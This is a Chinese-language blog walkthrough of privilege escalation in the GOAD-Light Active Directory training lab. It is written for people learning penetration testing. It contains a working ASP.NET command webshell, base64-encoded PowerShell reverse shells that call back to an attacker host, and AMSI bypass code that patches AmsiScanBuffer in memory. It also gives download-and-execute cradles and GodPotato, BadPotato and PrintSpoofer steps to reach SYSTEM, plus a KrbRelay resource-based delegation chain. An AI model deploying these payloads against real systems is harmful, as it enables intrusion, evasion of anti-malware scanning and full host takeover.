GOAD-Light-Part7-权限提升

GOAD-Light_schema

IIS - webshell

http://192.168.56.22/ 上有一个简单的 asp.net 应用程序,该应用程序只提供简单的文件上传功能。

image-20260125144516431

上传shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue %>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>

image-20260125150709581

已经可以执行cmd

我们可以使用与mssql相同的方式获得反向shell

1
2
3
4
5
6
powershell -exec bypass -enc CgAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgA1ADYALgAxA
DAANwAnACwANAA0ADQANAApADsACgAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsACgBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAKAHcAaABpAGwAZQAoACgAJABpACA
APQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsACgAgACAAIAAgACQAZAAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAe
QBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAMAAsACAAJABpACkAOwAKACAAIAAgACAAJABzAGIAIAA9ACAAKABpAGUAeAAgACQAZAAgADIAPgAmADEAIAB
8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAKACAAIAAgACAAJABzAGIAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAgACsAIAAnAFAAUwA+A
CAAJwApADsACgAgACAAIAAgACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7AAoAIAAgACAAIAAkAHMALgBGAGwAdQBzAGgAKAApAAoAfQA7AAoAJABjAC4AQwBsAG8AcwBlACgAKQAKAA==

image-20260125151538588

查看权限

1
whoami /all

image-20260125151601352

作为 IIS 服务用户,我们获得了 SeImpersonatePrivilege 权限!(MSSQL 也一样,该服务默认拥有此权限)这个权限允许我们模拟其他使用者的身份证

Privesc

AMSI Bypass

Anti-Malware Scan Interface(反恶意软件扫描接口)

Windows 的内建”杀毒API”,让应用程序可以调用杀毒软件扫描内容

传统杀毒软件的局限性:

1
2
文件落地 → 杀毒软件扫描 → 发现恶意 → 删除
问题:如果恶意代码只在内存中运行,不写文件呢?

AMSI 的工作方式:

1
应用程序执行前 → 调用 AMSI 接口 → 杀毒引擎实时扫描 → 阻止或放行

Anti-Malware Scan Interface (AMSI) 会:

  • 扫描PowerShell 脚本
  • 侦测恶意.NET 组件
  • 阻止已知的攻击工具

绕过方法

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

还可以在下面的网站找到自定义生成的payload

https://amsi.fail/

手动修改绕过技术

原始的AMSI 绕过:

1
2
# Matt Graebers second Reflection method
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

修改版(分割字串):

1
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

.NET 层级AMSI 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

远端载入AMSI 绕过

1
(new-object system.net.webclient).downloadstring('http://192.168.56.107:80/amsi_rmouse.txt')|IEX

image-20260125162740259

现在只要在内存中操作都不会被检测,可以进行无文件落地

WinPeas无文件落地

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

WinPeas是一款 Windows 权限提升枚举脚本,用于自动化查找提权路径。

1
2
wget https://github.com/peass-ng/PEASS-ng/releases/download/20260121-6d3fbb5f/winPEASany_ofs.exe
python3 -m http.server 80

PowerShell反射运行

1
2
3
4
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.107:80/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()

WinPEAS 会识别出SeImpersonatePrivilege可用于权限提升

image-20260125170554139

PowerSharpPack

如果不想费力编译 .net 应用程序或修改带有公共类和方法且没有 exit.environment 的 .net 应用程序,你也可以使用PowerSharpPack来帮你完成所有工作

1
2
3
4
5
# 加载 PowerSharpPack
iex(new-object net.webclient).downloadstring('http://192.168.56.107:80/PowerSharpPack/PowerSharpPack.ps1')

# 执行 WinPEAS
PowerSharpPack -winPEAS

Potato 系列提权

Potato 攻击

Potato 系列利用Windows 的模拟机制:

  1. 诱骗SYSTEM 权限的服务连接到我们
  2. 劫持或中继该连接
  3. 模拟SYSTEM 的token

GodPotato

https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

1
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe

创建反向连接脚本

1
2
3
4
5
cat > runme.bat << 'EOF'
@echo off
powershell -exec bypass -enc CgAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgA1ADYALgAxADAANwAnACwANAA0ADQANQApADsACgAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsACgBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAKAHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsACgAgACAAIAAgACQAZAAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAMAAsACAAJABpACkAOwAKACAAIAAgACAAJABzAGIAIAA9ACAAKABpAGUAeAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAKACAAIAAgACAAJABzAGIAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAgACsAIAAnAFAAUwA+ACAAJwApADsACgAgACAAIAAgACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7AAoAIAAgACAAIAAkAHMALgBGAGwAdQBzAGgAKAApAAoAfQA7AAoAJABjAC4AQwBsAG8AcwBlACgAKQAKAA==
exit /b
EOF

在目标机上执行

1
2
3
4
5
6
7
# 建立临时目录
mkdir c:\temp
cd c:\temp

#下载payload
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.107:80/GodPotato.exe','c:\temp\GodPotato.exe')
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.107:80/runme.bat', 'C:\temp\runme.bat')

目标机上运行godpotato测试为system权限

image-20260125173813788

再执行bat文件

1
.\GodPotato.exe -cmd "runme.bat"

kali另一个终端成功拿到systemshell

image-20260125173955445

BadPotato(PowerSharpPack)无文件落地

1
2
3
iex(new-object net.webclient).downloadstring('http://192.168.56.107:80/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')

Invoke-BadPotato -Command "c:\temp\runme.bat"

image-20260125174523312

PrintSpoofer(SweetPotato 的预设方法)

https://github.com/itm4n/PrintSpoofer

1
2
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe 
python -m http.server 80

目标机上执行

1
2
3
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.107:80/PrintSpoofer64.exe ','c:\temp\PrintSpoofer64.exe ')

.\PrintSpoofer64.exe -i -c "runme.bat"

image-20260125180658381

攻击链总结

1
2
3
4
5
6
7
8
9
10
11
T+0分钟   | 发现IIS上传漏洞
T+2分钟 | 上传Webshell并验证
T+5分钟 | 通过Webshell执行PowerShell反弹
T+8分钟 | 建立稳定reverse shell连接
T+10分钟 | 执行AMSI bypass
T+12分钟 | 运行WinPEAS/系统信息收集
T+15分钟 | 发现SeImpersonatePrivilege
T+18分钟 | 下载并执行GodPotato提权
T+20分钟 | 获得SYSTEM权限
T+25分钟 | 提取哈希和凭证
T+30分钟 | 开始内网扫描和横向移动

KrbRelay

工具

https://github.com/cube0x0/KrbRelay

核心原理

1
2
3
4
5
1. 利用 LDAP 签名未强制 
2. Kerberos 中继到 LDAP
3. 使用 S4U2Self 获取服务票据
4. 利用 RBCD (基于资源的约束委派) 获得权限
5. 最终获得目标机器的 SYSTEM 权限

利用此权限漏洞的条件是 LDAP 签名未强制执行,我们可以使用 cme ldap-signing 模块进行检查:

1
crackmapexec cme  192.168.56.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-signing

image-20260125182225817

添加机器用户和 RBCD

可以使用 cme MAQ 模块进行检查

1
crackmapexec ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ

添加机器用户

1
python addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'

获取机器用户的sid

1
2
3
$o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
(New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-262014495-273803406-34252947-1129

image-20260125182945061

检查端口

1
.\CheckPort.exe

目标机器下载脚本

1
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.1:80/KrbRelay.exe','c:\temp\KrbRelay.exe')

启动 krbrelay

1
.\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-262014495-273803406-34252947-1129 -port 443

image-20260125204012673

委派利用

1
2
3
4
5
6
7
8
9
10
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME='krbrelay$.ccache'

getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

wmiexec.py -k @castelblack.north.sevenkingdoms.local

C:\>whoami
north\administrator

分步解析

KrbRelay脚本

  1. 触发一个以 SYSTEM 身份运行的 COM 对象

  2. 让这个 SYSTEM 去发起一次网络访问

  3. 接收这次访问中自动带上的 Kerberos 认证

KrbRelay 脚本触发一个以 SYSTEM 身份运行的 COM 对象,
让这台计算机在“以为自己要访问域内 LDAP 服务”的情况下,
通过 443 端口发起网络连接并自动携带 Kerberos 认证,
攻击者接收这份认证并将其转发给真正的 LDAP,
利用 LDAP 未启用签名,以 SYSTEM 权限修改 AD 中的 RBCD(委派)属性。

攻击逻辑阶段 在干什么 对应工具
① 触发 SYSTEM 出网 让计算机账户(SYSTEM)去做一次网络访问 KrbRelay / KrbRelayUp(COM 触发部分)
② 接收 Kerberos 认证 接住 SYSTEM 自动带上的 Kerberos KrbRelay(relay 监听部分)
③ Kerberos → LDAP 转发 把认证原封不动送给 LDAP KrbRelay(LDAP relay)
④ 写 RBCD 用 SYSTEM 身份改 AD 属性 KrbRelay / KrbRelayUp(RBCD 逻辑)
⑤ 利用 RBCD 伪装成别人(管理员) Rubeus / Impacket

SYSTEM 根据 ldap/xxx 的 SPN,
向 KDC 申请并获得一张 访问 LDAP 服务的 Kerberos TGS

攻击者在网络层接收该 TGS,
并将其作为认证凭据转发给真正的 LDAP 服务,
触发 LDAP 操作。


GOAD-Light-Part7-权限提升
http://xiaowu5.cn/2026/01/25/GOAD-Light-Part7-权限提升/
作者
5
发布于
2026年1月25日
许可协议
BY XIAOWU